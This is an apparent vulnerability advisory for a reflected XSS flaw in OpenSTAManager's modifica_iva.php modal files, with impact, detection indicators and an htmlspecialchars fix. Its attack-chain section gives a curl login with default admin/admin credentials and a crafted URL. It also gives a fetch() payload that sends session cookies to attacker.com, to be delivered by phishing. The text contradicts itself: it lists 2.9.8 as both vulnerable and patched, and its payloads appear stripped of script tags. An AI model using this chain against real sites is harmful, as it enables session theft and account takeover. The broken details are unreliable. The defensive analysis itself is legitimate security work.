CVE-2026-24415: 
PHP vulnerability analysis and mitigation

CVE-2026-24415 is a Reflected Cross-Site Scripting (XSS) vulnerability in OpenSTAManager, an open-source management software for technical assistance and invoicing. The vulnerability affects OpenSTAManager versions up to and including 2.9.8, where the righe GET parameter is unsanitized before being reflected in HTML output across multiple module modal files. It was published on March 3, 2026, with a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, OSM Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the PHP variable $_GET['righe'] is directly echoed into HTML value attributes without any output encoding such as htmlspecialchars(). This allows an attacker to break out of the attribute context by injecting a payload like ">alert(document.cookie), causing arbitrary JavaScript execution in the victim's browser. The vulnerability exists across six module files: /modules/contratti/modals/modifica_iva.php, /modules/preventivi/modals/modifica_iva.php, /modules/fatture/modals/modifica_iva.php, /modules/ddt/modals/modifica_iva.php, /modules/ordini/modals/modifica_iva.php, and /modules/interventi/modals/modifica_iva.php. A public proof-of-concept is available and was credited to researcher lukasz-rybak (OSM Security Advisory, GitHub Advisory).

Successful exploitation enables an attacker to execute arbitrary JavaScript in the browser context of any authenticated user who clicks a crafted link, affecting all users with access to contracts, invoices, quotes, or orders modules. Consequences include session cookie theft leading to full account takeover, unauthorized creation, modification, or deletion of business records, CSRF token theft to bypass CSRF protections, credential harvesting via keyloggers or phishing page redirects, and modification of page content to deceive users. Availability is not directly impacted, but confidentiality and integrity of business-critical data are at risk (OSM Security Advisory).

A public proof-of-concept exploit is available on GitHub (credited to lukasz-rybak) and has been indexed by Sploitus, though there is no current evidence of active in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.02% (6th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No specific threat actor attribution has been reported.

1. Reconnaissance: Identify internet-facing OpenSTAManager instances running version 2.9.8 or earlier using search engines or Shodan. Confirm the presence of vulnerable modal endpoints such as /modules/contratti/modals/modifica_iva.php.
2. Authenticate (if needed): The advisory notes that the victim must be an authenticated user; the attacker does not need their own credentials but must deliver the payload to a logged-in user. For testing, authenticate with curl -c cookies.txt -X POST 'http://target/index.php?op=login' -d 'username=admin&password=admin'.
3. Craft malicious URL: Construct a URL embedding an XSS payload in the righe GET parameter, e.g.:

   https://target/modules/contratti/modals/modifica_iva.php?righe=">alert(document.cookie)

   For session stealing, use: ">fetch('https://attacker.com/?c='+document.cookie)
4. Deliver payload: Send the crafted URL to the victim via phishing email, chat message, or other social engineering channel.
5. Achieve objective: When the authenticated victim clicks the link, the injected JavaScript executes in their browser context, exfiltrating session cookies to the attacker's server or performing unauthorized actions on behalf of the victim (OSM Security Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains (e.g., attacker.com) with query parameters containing cookie values or session tokens; unusual GET requests to /modules/*/modals/modifica_iva.php with encoded or suspicious righe parameter values.
• Logs: Web server access logs showing requests to modifica_iva.php endpoints with righe parameter values containing HTML special characters such as ", >, <, alert, fetch, or document.cookie; repeated access to these endpoints from different source IPs targeting the same authenticated session.
• File System: No direct file system artifacts expected for reflected XSS; however, if the attacker achieves account takeover, look for unexpected record creation, modification, or deletion in contracts, invoices, quotes, or orders modules.
• Process/Application: Unexpected or unauthorized changes to business records (contracts, invoices, DDT, orders, interventions) that cannot be attributed to legitimate user activity (OSM Security Advisory).

The recommended fix is to apply proper output encoding to the righe GET parameter in all six affected files by replacing direct echoing with htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'), e.g.: <input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">. The GitHub Advisory Database lists version 2.9.8 as the patched version; administrators should verify they are running the latest available release. Additionally, deploying a Content Security Policy (CSP) header can limit the impact of any residual XSS, and users should be educated about phishing risks involving suspicious URLs (GitHub Advisory, OSM Security Advisory).